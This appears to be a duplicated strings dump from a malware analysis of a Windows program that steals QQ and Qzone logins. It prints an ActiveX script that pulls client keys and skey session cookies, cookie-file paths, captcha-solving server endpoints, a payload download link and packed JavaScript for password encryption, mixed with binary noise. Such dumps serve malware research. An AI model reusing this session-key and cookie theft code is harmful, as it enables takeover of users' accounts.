Microsoft Windows NT
Microsoft Windows NT
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows Server 2003,
Microsoft Windows Server 2003,
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003 "R2"
Microsoft Windows Server 2003 "R2"
Windows Server 2008
Windows Server 2008
Windows Vista
Windows Vista
Windows Server 2008 R2
Windows Server 2008 R2
Windows 7
Windows 7
ox-x-x-x-x-x
ox-x-x-x-x-x
\Tencent\Users\*.*
\Tencent\Users\*.*
nKERNEL32.DLL
nKERNEL32.DLL
mscoree.dll
mscoree.dll
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
WUSER32.DLL
WUSER32.DLL
!"#$%&'()* ,-.
!"#$%&'()* ,-.
uuwise.com
uuwise.com
2, 0, 0, 5
2, 0, 0, 5
1.0.0.1
1.0.0.1
!"#$%&'()* ,-
!"#$%&'()* ,-
25, 0, 0, 1
25, 0, 0, 1
Windows
Windows
6.0.2600.0 (xpclient.010817-1148)
6.0.2600.0 (xpclient.010817-1148)
6.0.2600.0
6.0.2600.0
(*.*)
(*.*)
%original file name%.exe_812_rwx_00401000_0040A000:
t%SVh
t%SVh
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
atl.dll
atl.dll
wininet.dll
wininet.dll
FastVerCode.dll
FastVerCode.dll
UUWiseHelper.dll
UUWiseHelper.dll
dc.dll
dc.dll
gdiplus.dll
gdiplus.dll
ole32.dll
ole32.dll
gzip.dll
gzip.dll
shlwapi.dll
shlwapi.dll
Kernel32.dll
Kernel32.dll
ADVAPI32.DLL
ADVAPI32.DLL
secur32.dll
secur32.dll
advapi32.dll
advapi32.dll
shell32.dll
shell32.dll
kernel32.dll
kernel32.dll
Rasapi32.dll
Rasapi32.dll
user32.dll
user32.dll
Psapi.dll
Psapi.dll
GdiPlus.dll
GdiPlus.dll
ntdll.dll
ntdll.dll
GetProcessHeap
GetProcessHeap
ShellExecuteA
ShellExecuteA
uu_loginA
uu_loginA
GdiplusShutdown
GdiplusShutdown
CreateIoCompletionPort
CreateIoCompletionPort
ReportError
ReportError
uu_reportError
uu_reportError
EnumChildWindows
EnumChildWindows
GetProcessHeaps
GetProcessHeaps
{B6F7542F-B8FE-46a8-9605-98856A687097}
{B6F7542F-B8FE-46a8-9605-98856A687097}
{E5000198-4471-40e2-92BC-D0BA075BDBB2}
{E5000198-4471-40e2-92BC-D0BA075BDBB2}
.idata
.idata
.edata
.edata
P.vmp0
P.vmp0
`.vmp1
`.vmp1
.reloc
.reloc
P.rsrc
P.rsrc
version.dll
version.dll
1e.ro4A
1e.ro4A
oleaut32.dll
oleaut32.dll
H0.gW
H0.gW
comctl32.dll
comctl32.dll
gdi32.dll
gdi32.dll
d.jF/"
d.jF/"
r#'%C
r#'%C
6.Xdp
6.Xdp
g|$^.Cn
g|$^.Cn
>.bM8
>.bM8
>Z.Ye
>Z.Ye
w4R`$p%s*
w4R`$p%s*
f.zo~L^
f.zo~L^
wsock32.dll
wsock32.dll
Ë.L@
Ë.L@
l.sQ{
l.sQ{
c-t{.FF
c-t{.FF
b#I".wM
b#I".wM
e.ENZ
e.ENZ
xip.tu
xip.tu
@>.vO
@>.vO
%FX2Fsi
%FX2Fsi
qKT.jLka
qKT.jLka
3.LD7
3.LD7
Uq
Uq
G,.gd
G,.gd
<.cff>
<.cff>
&8.XMj
&8.XMj
$~O.Ba
$~O.Ba
)].Wd
)].Wd
/_{M%U
/_{M%U
Q%s6|
Q%s6|
lVfeVg
lVfeVg
!%uO
!%uO
mh.ud
mh.ud
m%Csn%
m%Csn%
kq84.QaI
kq84.QaI
)f%fg
)f%fg
.SuDYw
.SuDYw
K)`p.frC
K)`p.frC
*%s!%
*%s!%
aR.dDb&
aR.dDb&
.xk 4g
.xk 4g
RegCloseKey
RegCloseKey
)%S{.
)%S{.
'U}.Ue
'U}.Ue
l%S(8x$!(
l%S(8x$!(
1L%UJ
1L%UJ
.vtbw
.vtbw
.iA5N
.iA5N
yyhKa%S
yyhKa%S
d.Zd=#R
d.Zd=#R
x0r%F{
x0r%F{
.IPi)
.IPi)
Vj.jH
Vj.jH
>M%X9
>M%X9
/8[
/8[
bc.lTk
bc.lTk
ks_GetMsg
ks_GetMsg
kssPlugin.dll
kssPlugin.dll
tole32.dll
tole32.dll
SSOAxCtrlForPTLogin.SSOForPTLogin2
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://ptlogin2.qq.com/jump?clientuin=
skey=
skey=
; skey=
; skey=
skey=@
skey=@
cookies.txt
cookies.txt
hXXp://user.qzone.qq.com/
hXXp://user.qzone.qq.com/
user.qzone.qq.com
user.qzone.qq.com
hXXp://user.qzone.qq.com/
hXXp://user.qzone.qq.com/
%Program Files%\Internet Explorer\iexplore.exe
%Program Files%\Internet Explorer\iexplore.exe
domain=qq.com
domain=qq.com
hXXp://
hXXp://
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
\*.txt
\*.txt
qq.com
qq.com
; domain=.qq.com
; domain=.qq.com
.rsrc
.rsrc
%S4WD
%S4WD
hg%fpM
hg%fpM
S.Ac9SR
S.Ac9SR
0.I%3s
0.I%3s
,wAe.kI
,wAe.kI
aiUy'4xu
aiUy'4xu
%c*@j
%c*@j
.eH'y
.eH'y
{&%U)
{&%U)
lj%4U
lj%4U
xe%CNs
xe%CNs
9F.cLe
9F.cLe
hJK.ZH
hJK.ZH
O.qt0
O.qt0
KERNEL32.DLL
KERNEL32.DLL
COMCTL32.dll
COMCTL32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
USER32.dll
USER32.dll
SkinH_EL.dll
SkinH_EL.dll
\LZConfig.ini
\LZConfig.ini
\FastVerCode.dll
\FastVerCode.dll
.text
.text
`.rdata
`.rdata
@.data
@.data
@.reloc
@.reloc
NETAPI32.dll
NETAPI32.dll
MFC42.DLL
MFC42.DLL
KERNEL32.dll
KERNEL32.dll
SHLWAPI.dll
SHLWAPI.dll
WININET.dll
WININET.dll
.PAVCObject@@
.PAVCObject@@
.PAVCException@@
.PAVCException@@
.PAVCFileException@@
.PAVCFileException@@
.PAVCInternetException@@
.PAVCInternetException@@
Content-Disposition: form-data; name="key"
Content-Disposition: form-data; name="key"
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MALN)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MALN)
POST /api.php?mod=yzm&act=state HTTP/1.1
POST /api.php?mod=yzm&act=state HTTP/1.1
/api.php?mod=yzm&act=state
/api.php?mod=yzm&act=state
LZConfig.ini
LZConfig.ini
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)
HTTP/1.1
HTTP/1.1
/api.php?mod=yzm&act=add
/api.php?mod=yzm&act=add
POST /api.php?mod=yzmm&act=result_new HTTP/1.1
POST /api.php?mod=yzmm&act=result_new HTTP/1.1
/api.php?mod=yzmm&act=result_new
/api.php?mod=yzmm&act=result_new
POST /api.php?mod=yzm&act=point HTTP/1.1
POST /api.php?mod=yzm&act=point HTTP/1.1
/api.php?mod=yzm&act=point
/api.php?mod=yzm&act=point
POST /api.php?mod=yzm&act=register HTTP/1.1
POST /api.php?mod=yzm&act=register HTTP/1.1
/api.php?mod=yzm&act=register
/api.php?mod=yzm&act=register
eee.hyslt.com
eee.hyslt.com
POST /api.php?mod=dmuser&act=yzm_error HTTP/1.1
POST /api.php?mod=dmuser&act=yzm_error HTTP/1.1
/api.php?mod=dmuser&act=yzm_error
/api.php?mod=dmuser&act=yzm_error
.hyslt.com
.hyslt.com
XXXXXX
XXXXXX
hXXp://ip.qq.com/
hXXp://ip.qq.com/
POST /api.php?mod=yzm&act=server HTTP/1.1
POST /api.php?mod=yzm&act=server HTTP/1.1
/api.php?mod=yzm&act=server
/api.php?mod=yzm&act=server
\UUExtConfig.ini
\UUExtConfig.ini
CodeType=0\UUWiseHelper.dll
CodeType=0\UUWiseHelper.dll
SSSSh
SSSSh
ByScreen.JPG
ByScreen.JPG
operator
operator
GetProcessWindowStation
GetProcessWindowStation
E:\work\UUWiseHelper
E:\work\UUWiseHelper
\UUWiseHelper.pdb
\UUWiseHelper.pdb
RegOpenKeyExW
RegOpenKeyExW
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
OLEAUT32.dll
OLEAUT32.dll
urlmon.dll
urlmon.dll
dbghelp.dll
dbghelp.dll
IPHLPAPI.DLL
IPHLPAPI.DLL
WS2_32.dll
WS2_32.dll
GetCPInfo
GetCPInfo
UUWiseHelper.DLL
UUWiseHelper.DLL
uu_easyRecognizeUrlA
uu_easyRecognizeUrlA
uu_easyRecognizeUrlW
uu_easyRecognizeUrlW
uu_loginW
uu_loginW
uu_recognizeByCodeTypeAndUrlA
uu_recognizeByCodeTypeAndUrlA
uu_recognizeByCodeTypeAndUrlW
uu_recognizeByCodeTypeAndUrlW
zcÃ
zcÃ
"0,01070
"0,01070
8Â8J8R8x8
8Â8J8R8x8
0#0'0-01070;0
0#0'0-01070;0
=*>0>4>8>
=*>0>4>8>
5%6S6
5%6S6
3$3,383\3|3
3$3,383\3|3
:-1014,URL
:-1014,URL
:-19011,
:-19011,
TEAKEY
TEAKEY
\dc.dll
\dc.dll
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
WSOCK32.dll
WSOCK32.dll
MSVCP60.dll
MSVCP60.dll
ReportError_A
ReportError_A
VBYB_ReportError
VBYB_ReportError
VB_ReportError
VB_ReportError
debug.ini
debug.ini
ReportError:%s
ReportError:%s
Error:%s
Error:%s
%s|!|%s
%s|!|%s
\dms.pdb
\dms.pdb
%u%u,
%u%u,
dclog.txt
dclog.txt
config.ini
config.ini
port
port
settimeout:%d
settimeout:%d
[%d]%s
[%d]%s
reg2:%s
reg2:%s
checkok:%s %s
checkok:%s %s
check fail:%s %s %s
check fail:%s %s %s
check:%s %s
check:%s %s
getcjfail:%s %s
getcjfail:%s %s
getcj:%s %s
getcj:%s %s
%s%uout
%s%uout
%s%uin
%s%uin
put img ok:%s
put img ok:%s
put img fail:%s
put img fail:%s
put img:%s %s %d
put img:%s %s %d
get result ok:%s,%s
get result ok:%s,%s
get result fail:%s
get result fail:%s
get result:%s
get result:%s
notifyfail ok:%s
notifyfail ok:%s
%s\%d-%s.png
%s\%d-%s.png
notifyfail fail:%s,%s
notifyfail fail:%s,%s
notifyfail:%s
notifyfail:%s
getimgok:%s,%s
getimgok:%s,%s
getimg:%s
getimg:%s
getinfo fail:%s
getinfo fail:%s
getinfo:%s,%s
getinfo:%s,%s
setresult:%s,%s
setresult:%s,%s
HTTP/1.1 200 OK
HTTP/1.1 200 OK
recv:%d
recv:%d
send:%d
send:%d
GET /ip.txt HTTP/1.1
GET /ip.txt HTTP/1.1
Host: %s
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
select:%d
select:%d
ioctlsocket:%d
ioctlsocket:%d
socket:%d
socket:%d
api.qqchaoren.net
api.qqchaoren.net
14.17.65.24
14.17.65.24
14.17.65.23
14.17.65.23
dama2.qqchaoren.net
dama2.qqchaoren.net
dama1.qqchaoren.net
dama1.qqchaoren.net
connect total:%s %d
connect total:%s %d
:%s %d
:%s %d
connect discard:%s %d
connect discard:%s %d
[d-d-d d:d:d](u)
[d-d-d d:d:d](u)
recv timeout:
recv timeout:
recvfail:%d
recvfail:%d
server close:%d
server close:%d
recv:%d
recv:%d
send:%d
send:%d
sendfail:%d
sendfail:%d
connect timeout:
connect timeout:
connectok:%s %hu
connectok:%s %hu
127.0.0.1
127.0.0.1
1.1.3
1.1.3
eKC:\Windows\qqydw.ini
eKC:\Windows\qqydw.ini
=798222986
=798222986
=hXXp://VVV.qqydw.com
=hXXp://VVV.qqydw.com
=hXXp://qqydw.com/sale.php?uid=5
=hXXp://qqydw.com/sale.php?uid=5
=hXXp://qqydw.oss-cn-beijing.aliyuncs.com/QQ空间图片上传大师ã€Â手机版】.exe
=hXXp://qqydw.oss-cn-beijing.aliyuncs.com/QQ空间图片上传大师ã€Â手机版】.exe
\gzip.dll
\gzip.dll
`.data
`.data
gzip.pdb
gzip.pdb
_u%SV
_u%SV
BFeUQy48sgDIgituHpLLjZpSFM99LRy5cgyfc2jZnBPXfs2bXCuDTPyRecN0KucEwKf1heFA4bVrg3yT45lkse/D0MebGxED/eMEmaLRA8jCQUC4a0vSDsfGFLgvYUnJhRssT6D8qhIBKCq3tm8nsux0QGJtS1vryWVq4x8uuKzXBfLxR5RnyAwimqrkz1IrVbmIueIPTNgKJUNuobkC/KDzpvVplDMOQLYlRDgXq1l/fPpgBzn8vM8TN698ao9rzXQh6zwhXnVKlqzm5vYf3ZsqTCx5RsuvlMWBPTpGbJ/DoKy6OVNdtPFVge1NrRTrE qD74RUBIw9KBQNBohq2pv69QekwgnzKQgP7uNePJysjqQc4o2cFA2KUJuMERdZNw9RSn8acmliXlb6wYGsg6zBlbGi86RUwq1OXi3AUan/iCU25icEkXwzFYR6aq07ddbdvfWztzH5SN76DgYF7s0I3PmEmzOYXKnl51lZTQoNGyrw8/GMAZqaS8HpyZMV9JacNBGVLdh1GBHcpJTdAWjHINn9F1Tkc0GFZaTTd4bBAzqqa8aIsUlVxhuKRWXwl8NTEQUtQCCJ1FpKv3p/2pTSxU28/SvEuk9zen0Jdqri3tOvI52dbF/8uhyHJPeVVPayPCtruRosJQ5zSiZbKALSshbqgClfDPBmXmLZMp5kDw2KXKiXratnmGZxPhpeAJxI4Makq210KZYcjhsH/7y2Zhw7BjqnmuTK9r53RppqCV4e0IdnraQz0xGlrpx6a2rcuUWm2KUbsS3t7o2GKZVdA3igPWDwU7m4ES6Tbm 6QqyxZ6zCuMlN7Z/kQN8pQrZxuHZOS7f3XQdG7c4aXWe0bZKaul2FvwJ8vN7r9vYS/I1pR5O6AjcyVqALs6IhNpqeAAGfB/8CM6zKz4mOafk2MHkcjXfNTo7g3uiOW3sgwS83oPWyUIEgbrA98NQ7rx19QqCduWyUD8uFMg/rmMJdcEivyNTtL 1MSE6c62XRuwnDsMIaJbMadQO28mnWQbkfDqYAqzLe/UMIclcevUsk ljHGsVNfgs/AJIul9Iup4SI9spHiXdTwiJEfYda9tidiYMJDCbSElQ01JIqoNyiQM6JhKbADW NLSJAwGIxF9JHRBTase IVZ8qtfhjfUGDDHp/64/1JnSKMgmmBG0GZQ93LqW3S0o2dtEjIIbrKeYN0nVAOD98TmsaaPXOIaLzsxI5eTQXoWmBvCoUod18iWA9cm8X6jtp744OxmkBCIzyGd/8/fVnuXtdDn5la9Heve8TbIx40H/doz26UEJkoi8Ee A0lyKMZzvf52tf0haJrjYLf6VFakw4d5/nNuqCiwkuBTxV43FM0jfTM2IyASsw1M6LT3RuE Dgdw6GJQav3PIcaX2FIP 3LMmyKs JssHRtEMYxbsWK ENrpWbtndIMjAqDCq65HlMS968j/w kdglMRCUnigeuKl208CkIBuGyFllo2KnZOmfyPjqrIeC9pzLSFQCaCBGtEzZ7d63qgkFPyNPtIgqNYwcHprANS3 ZWhQAzOWoVQhEwTGnd27OAu6VIzf DNK3bhZS2aQR/iMIUxzzaSniTaAN7fjOU/qMH2zNrPbFkUFbv9ieR6inLg/kQgj SZ/rnMOncErz3u1r/5O8LucOo6NW2b1orPbIBGSeBa0ctOUQpjRtoe6TLGGb9LXULJmIqM=
BFeUQy48sgDIgituHpLLjZpSFM99LRy5cgyfc2jZnBPXfs2bXCuDTPyRecN0KucEwKf1heFA4bVrg3yT45lkse/D0MebGxED/eMEmaLRA8jCQUC4a0vSDsfGFLgvYUnJhRssT6D8qhIBKCq3tm8nsux0QGJtS1vryWVq4x8uuKzXBfLxR5RnyAwimqrkz1IrVbmIueIPTNgKJUNuobkC/KDzpvVplDMOQLYlRDgXq1l/fPpgBzn8vM8TN698ao9rzXQh6zwhXnVKlqzm5vYf3ZsqTCx5RsuvlMWBPTpGbJ/DoKy6OVNdtPFVge1NrRTrE qD74RUBIw9KBQNBohq2pv69QekwgnzKQgP7uNePJysjqQc4o2cFA2KUJuMERdZNw9RSn8acmliXlb6wYGsg6zBlbGi86RUwq1OXi3AUan/iCU25icEkXwzFYR6aq07ddbdvfWztzH5SN76DgYF7s0I3PmEmzOYXKnl51lZTQoNGyrw8/GMAZqaS8HpyZMV9JacNBGVLdh1GBHcpJTdAWjHINn9F1Tkc0GFZaTTd4bBAzqqa8aIsUlVxhuKRWXwl8NTEQUtQCCJ1FpKv3p/2pTSxU28/SvEuk9zen0Jdqri3tOvI52dbF/8uhyHJPeVVPayPCtruRosJQ5zSiZbKALSshbqgClfDPBmXmLZMp5kDw2KXKiXratnmGZxPhpeAJxI4Makq210KZYcjhsH/7y2Zhw7BjqnmuTK9r53RppqCV4e0IdnraQz0xGlrpx6a2rcuUWm2KUbsS3t7o2GKZVdA3igPWDwU7m4ES6Tbm 6QqyxZ6zCuMlN7Z/kQN8pQrZxuHZOS7f3XQdG7c4aXWe0bZKaul2FvwJ8vN7r9vYS/I1pR5O6AjcyVqALs6IhNpqeAAGfB/8CM6zKz4mOafk2MHkcjXfNTo7g3uiOW3sgwS83oPWyUIEgbrA98NQ7rx19QqCduWyUD8uFMg/rmMJdcEivyNTtL 1MSE6c62XRuwnDsMIaJbMadQO28mnWQbkfDqYAqzLe/UMIclcevUsk ljHGsVNfgs/AJIul9Iup4SI9spHiXdTwiJEfYda9tidiYMJDCbSElQ01JIqoNyiQM6JhKbADW NLSJAwGIxF9JHRBTase IVZ8qtfhjfUGDDHp/64/1JnSKMgmmBG0GZQ93LqW3S0o2dtEjIIbrKeYN0nVAOD98TmsaaPXOIaLzsxI5eTQXoWmBvCoUod18iWA9cm8X6jtp744OxmkBCIzyGd/8/fVnuXtdDn5la9Heve8TbIx40H/doz26UEJkoi8Ee A0lyKMZzvf52tf0haJrjYLf6VFakw4d5/nNuqCiwkuBTxV43FM0jfTM2IyASsw1M6LT3RuE Dgdw6GJQav3PIcaX2FIP 3LMmyKs JssHRtEMYxbsWK ENrpWbtndIMjAqDCq65HlMS968j/w kdglMRCUnigeuKl208CkIBuGyFllo2KnZOmfyPjqrIeC9pzLSFQCaCBGtEzZ7d63qgkFPyNPtIgqNYwcHprANS3 ZWhQAzOWoVQhEwTGnd27OAu6VIzf DNK3bhZS2aQR/iMIUxzzaSniTaAN7fjOU/qMH2zNrPbFkUFbv9ieR6inLg/kQgj SZ/rnMOncErz3u1r/5O8LucOo6NW2b1orPbIBGSeBa0ctOUQpjRtoe6TLGGb9LXULJmIqM=
1.edb
1.edb
hXXp://VVV.qqydw.com/gx1.txt
hXXp://VVV.qqydw.com/gx1.txt
:hXXp://VVV.eyuyan.cc
:hXXp://VVV.eyuyan.cc
cookies-gtk.txt
cookies-gtk.txt
JPG,GIF,PNG,JPEG)|*.*
JPG,GIF,PNG,JPEG)|*.*
0000020000
0000020000
0000100000
0000100000
474946383961
474946383961
474946383761
474946383761
0000100
0000100
00000100
00000100
0000020001002020
0000020001002020
52494646
52494646
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
hXXp://VVV.jsdati.com
hXXp://VVV.jsdati.com
hXXp://VVV.qqchaoren.net
hXXp://VVV.qqchaoren.net
hXXp://VVV.uuwise.com
hXXp://VVV.uuwise.com
Hs("{pass}","{uin}","{code}")
Hs("{pass}","{uin}","{code}")
{pass}
{pass}
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('Y 1O=X(){X r(){W.n=1d;W.e=0;W.4V=W.3h=W.4k=W.q=W.p=W.d=1d}X B(r,z,I){1d!=r&&("50"==2W r?W.3i(r,z,I):1d==z&&"3T"!=2W r?W.1S(r,1B):W.1S(r,z))}X z(){Z 1u B(1d)}X A(r){Y V=z();V.2c(r);Z V}X D(r){Y z=1,I;0!=(I=r>>>16)&&(r=I,z =16);0!=(I=r>>8)&&(r=I,z =8);0!=(I=r>>4)&&(r=I,z =4);0!=(I=r>>2)&&(r=I,z =2);0!=r>>1&&(z =1);Z z}X C(r){W.m=r}X E(r){W.m=r;W.2a=r.2V();W.2f=W.2a&1N;W.2U=W.2a>>15;W.2T=(1>8&1f;L[G ]^=r>>16&1f;L[G ]^=r>>24&1f;G>=U&&(G-=U)}X O(){}X N(){W.j=W.i=0;W.S=[]}r.1b.2R=X(r){Z r.2Q(W.e,W.n)};r.1b.2P=X(r,z){1d!=r&&1d!=z&&0>3;1a(z>=15;0>15,G=z*R F*E,R=E*R ((G&1N)>>30) (G>>>15) z*F (D>>>30);A[B ]=R&2L}Z D};H=30;B.1b.1e=H;B.1b.1s=(1=K; K)S[H ]=K;H=3n;19(K=10;36>K; K)S[H ]=K;H=3D;19(K=10;36>K; K)S[H ]=K;C.1b.2e=X(r){Z 0>r.s||0r.s&&0>15)*W.2f&W.2T)=r.1o;)r[A]-=r.1o,r[ A] }r.1q();r.2b(W.m.t,r);0r?-1:0;0r?W[0]=r 1o:W.t=0};B.1b.1S=X(r,z){Y A;1a(16==z)A=4;1h 1a(8==z)A=3;1h 1a(1B==z)A=8;1h 1a(2==z)A=1;1h 1a(32==z)A=5;1h 1a(4==z)A=2;1h{W.3I(r,z);Z}W.s=W.t=0;19(Y D=r.1c,C=!1,E=0;0J?"-"==r.1l(D)&&(C=!0):(C=!1,0==E?W[W.t ]=J:E A>W.1e?(W[W.t-1]|=(J&(1>W.1e-E):W[W.t-1]|=J=W.1e&&(E-=W.1e))}8==A&&0!=(r[0]&2I)&&(W.s=-1,0>B|E,E=(W[F]&D)=W.t)z.t=0;1h{Y B=r%W.1e,D=W.1e-B,C=(1>B;19(Y E=A 1;E>B;0>=W.1e;1a(r.t>=W.1e;B =W.s}1h{19(B =W.s;A>=W.1e;B-=r.s}z.s=0>B?-1:0;-1>B?z[A ]=W.1o B:0=z.1o&&(r[A z.t]-=z.1o,r[A z.t 1]=1)}0=E.t)){Y F=W.1w();1a(F.t>W.29:0),K=W.2K/H,H=(1J&&B.1x.1m(C,C)}}}};B.1b.2V=X(){1a(1>W.t)Z 0;Y r=W[0];1a(0==(r&1))Z 0;Y z=r&3,z=z*(2-(r&15)*z)&15,z=z*(2-(r&1f)*z)&1f,z=z*(2-((r&1G)*z&1G))&1G,z=z*(2-r*z%W.1o)%W.1o;Z 0r)Z B.1U;Y C=z(),E=z(),F=A.2e(W),G=D(r)-1;19(F.1I(C);0W.s)Z"-" W.1Z().1F(r);1a(16==r)r=4;1h 1a(8==r)r=3;1h 1a(2==r)r=1;1h 1a(32==r)r=5;1h 1a(4==r)r=2;1h Z W.3o(r);Y z=(1>E)&&(B=!0,C="2A".1l(A));0>(E =W.1e-r)):(A=W[D]>>(E-=r)&z,0>=E&&(E =W.1e,--D)),0W.s?W.1Z():W};B.1b.1H=X(r){Y z=W.s-r.s;1a(0!=z)Z z;Y A=W.t,z=A-r.t;1a(0!=z)Z z;19(;0=W.t?0:W.1e*(W.t-1) D(W[W.t-1]^W.s&W.1s)};B.1b.2J=X(r){Y A=z();W.1w().1Q(r,1d,A);0>W.s&&0r||z.2G()?1u C(z):1u E(z);Z W.2E(r,A)};B.1x=A(0);B.1U=A(1);Y T,L,G;1a(1d==L){L=[];19(G=0;G>>8,L[G ]=H&1f;G=0;F()}O.1b.2M=X(r){Y z;19(z=0;zz; z)W.S[z]=z;19(z=A=0;1B>z; z)A=A W.S[z] r[z%r.1c]&1f,B=W.S[z],W.S[z]=W.S[A],W.S[A]=B;W.j=W.i=0};N.1b.2x=X(){Y r;W.i=W.i 1&1f;W.j=W.j W.S[W.i]&1f;r=W.S[W.i];W.S[W.i]=W.S[W.j];W.S[W.j]=r;Z W.S[r W.S[W.i]&1f]};Y U=1B;Z{2r:X(z,A,B){A="41";B="3";Y C=1u r;C.2P(A,B);Z C.26(z)}}}(),s="",a=0,g=[],x=[],y=0,u=0,m=[],t=[],n=!0;X e(){Z 1p.35(1r*1p.2z())}X j(r,B,z){1a(!z||4>>0}X b(r,B,z){r[B 3]=z>>0&1f;r[B 2]=z>>8&1f;r[B 1]=z>>16&1f;r[B 0]=z>>24&1f}X w(r){1a(!r)Z"";19(Y B="",z=0;zz;z )x[z]=0;19(z=1;2>=z;)8>a&&(g[a ]=e()&1f,z ),8==a&&p();19(z=0;0a&&(g[a ]=r[z ],B--),8==a&&p();19(z=1;7>=z;)8>a&&(g[a ]=0,z ),8==a&&p();Z m}X q(r){Y B=0,z=1t(8),B=r.1c;t=r;1a(0!=B%8||16>B)Z 1d;x=l(r);a=x[0]&7;B=B-a-10;1a(0>B)Z 1d;19(Y A=0;A=A;)1a(8>a&&(a ,A ),8==a&&(z=r,!f()))Z 1d;19(A=0;0!=B;)1a(8>a&&(m[A]=(z[u a]^x[a])&1f,A ,B--,a ),8==a&&(z=r,u=y-8,!f()))Z 1d;19(A=1;8>A;A ){1a(8>a){1a(0!=(z[u a]^x[a]))Z 1d;a }1a(8==a&&(z=r,u=y,!f()))Z 1d}Z m}X p(){19(Y r=0;8>r;r )g[r]=n?g[r]^x[r]:g[r]^m[u r];19(Y B=k(g),r=0;8>r;r )m[y r]=B[r]^x[r],x[r]=g[r];u=y;y =8;a=0;n=!1}X k(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=0;0>>0,z =(r>>5) D,z=(z&1r)>>>0,r =(z>>5) E,r=(r&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X l(r){Y B=16,z=j(r,0,4);r=j(r,4,4);19(Y A=j(s,0,4),D=j(s,4,4),C=j(s,8,4),E=j(s,12,4),F=3y;0>>5) E,r=(r&1r)>>>0,z-=(r>>5) D,z=(z&1r)>>>0,F-=2o,F=(F&1r)>>>0;B=1t(8);b(B,0,z);b(B,4,r);Z B}X f(){19(Y r=0;8>r;r )x[r]^=t[y r];x=l(x);y =8;a=0;Z!0}X o(r,B){Y z=[];1a(B)19(Y A=0;A>18)),E.1y(z.1l(C>>12&1J)),E.1y(z.1l(C>>6&1J)),E.1y(z.1l(C&1J));3e(r.1c-F){2B 1:C=A(r,D)>18) z.1l(C>>12&1J) B B);3g;2B 2:C=A(r,D)>18) z.1l(C>>12&1J) z.1l(C>>6&1J) B)}Z E.2C("")}},2D=1,3j="",1n=8,2F=32;X 1W(r){Z 2H(r)}X 2H(r){Z 2l(1E(1K(r),r.1c*1n))}X 3q(r){Z 2d(1E(1K(r),r.1c*1n))}X 3s(r,B){Z 2l(1R(r,B))}X 3u(r,B){Z 3v(1R(r,B))}X 